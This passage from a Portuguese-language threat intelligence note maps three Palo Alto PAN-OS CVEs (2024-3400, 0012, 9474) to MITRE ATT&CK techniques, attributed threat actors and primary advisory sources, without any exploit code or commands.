- [[cve-2024-9474|CVE-2024-9474]] - Management Interface Privilege Escalation (CVSS 6.9)
- [[cve-2024-3400|CVE-2024-3400]]
- [[cve-2024-0012|CVE-2024-0012]]
- [[cve-2024-9474|CVE-2024-9474]]
### Técnicas MITRE ATT&CK
- [[t1190-exploit-public-facing-application|T1190 - Exploit Public-Facing Application]] - vetor inicial CVE-2024-3400 e CVE-2024-0012
- [[t1068-exploitation-privilege-escalation|T1068 - Exploitation for Privilege Escalation]] - CVE-2024-9474
- [[t1505-server-software-component|T1505 - Server-Side Backdoor]] - UPSTYLE (CVE-2024-3400), web shells PHP (CVE-2024-0012/9474)
- [[t1059-command-scripting-interpreter|T1059 - Command and Scripting Interpreter]] - execução via bash/Python pós-comprometimento
- [[t1041-exfiltration-c2|T1041 - Exfiltration Over C2 Channel]] - exfiltração de running-config.xml
### Atores e Campanhas Relacionadas
- [[g0007-apt28]] - ator de ameaça sofisticado; verificar atribuição em relatórios atualizados
- [[g1017-volt-typhoon]] - ator de ameaça com histórico em dispositivos de borda
- UTA0218 (rastreado por Volexity) - ator atribuído à Operation MidnightEclipse (CVE-2024-3400); avaliado como China-based com confiança moderada
### Fontes Primárias
- Palo Alto Networks Security Advisory: CVE-2024-3400 - https://security.paloaltonetworks.com/CVE-2024-3400
- Palo Alto Networks Security Advisory: CVE-2024-0012 - https://security.paloaltonetworks.com/CVE-2024-0012
- Palo Alto Networks Security Advisory: CVE-2024-9474 - https://security.paloaltonetworks.com/CVE-2024-9474
- Volexity: Zero-Day Exploitation of CVE-2024-3400 - https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-CVE-2024-3400/
- Unit 42 Threat Brief: Operation MidnightEclipse - https://unit42.paloaltonetworks.com/CVE-2024-3400/
- CISA KEV: CVE-2024-3400 (adicionado 12/04/2024), CVE-2024-0012 e CVE-2024-9474 (adicionados 18/11/2024)